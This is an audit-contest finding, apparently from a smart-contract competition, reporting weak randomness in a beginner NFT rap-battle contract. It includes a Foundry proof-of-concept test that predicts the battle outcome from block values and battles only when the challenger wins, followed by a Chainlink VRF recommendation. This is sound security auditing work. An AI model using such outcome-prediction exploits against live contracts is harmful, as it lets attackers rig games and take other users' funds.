Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak PRNG being used to determine the winner allows the challenger to win every time

Summary

Using weak PRNG allows the challenger to predict the outcome of the battle.

Vulnerability Details

Since the winner is decided using a random number that is generated using values like block.timestamp, and block.prevrandao, the challenger is able to precompute the same number and predict if they're going to win the battle or not. If they do, they'll go ahead and call the RapBattle::goOnStageOrBattle function otherwise they won't.

Impact

Allows the challenger to manipulate battle outcomes.

POC

uint wins;
event Log(uint);
function testOnlyChallengerWillWin(uint number) external twoSkilledRappers {
// approving the RapBattle
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
vm.stopPrank();
vm.startPrank(challenger);
cred.approve(address(rapBattle), 4);
vm.stopPrank();
// defender goes on stage
vm.startPrank(user);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
// challenger predicts the outcome and battles only when he wins
vm.startPrank(challenger);
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % (defenderRapperSkill+rapBattle.getRapperSkill(1));
if(random > defenderRapperSkill) {
rapBattle.goOnStageOrBattle(1, 4);
wins++;
assert(cred.balanceOf(challenger) == 8);
}
emit Log(wins);
}

Tools Used

Foundry

Recommendations

Use ChainLink VRF to generate random numbers.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.